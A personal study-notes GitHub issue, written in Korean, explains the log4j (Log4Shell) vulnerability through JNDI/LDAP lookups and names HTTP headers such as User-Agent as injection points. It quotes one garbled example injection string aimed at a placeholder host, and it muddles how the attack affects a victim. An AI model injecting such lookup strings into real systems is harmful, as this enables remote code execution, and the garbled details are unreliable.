skarltjr / Memory_Write_Record

나의 모든 학습 기록
0 stars 0 forks source link

log4j 취약점 #53

Open skarltjr opened 2 years ago

skarltjr commented 2 years ago

개요

가장 많이 사용되는 언어인 자바와 그 중에서도 로깅을 위해 많이 사용되는 log4j에서 취약점이 발생 애플,테슬라,구글 등 이미 많은 기업에서 사용 중 나도 종종 로그를 찍어보기 위해 간단하지만 log4j를 사용하곤 했다.

문제점

이 취약점은 JNDI와 LDAP를 이용한다. 
JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스이다. 
Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.
JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다. 
이 LDAP가 이번 취약점에 가장 중요한 포인트이다.

Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다.
 예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것

이러한 접근 인터페이스가 이번 사태에 치명적이게 된 이유는, 
Log4j에는 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다. 
예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.

이런 문법은 로그가 기록될 때도 사용이 가능 했고, 
결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다. 
이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.

서버에 로그인한 것 만으로 해커가 사용자의 컴퓨터를 사실상 원격 조종할 수 있는 것

버전 업데이트를 하라고 한다.

skarltjr commented 2 years ago

내가 이걸 왜 기록하는가?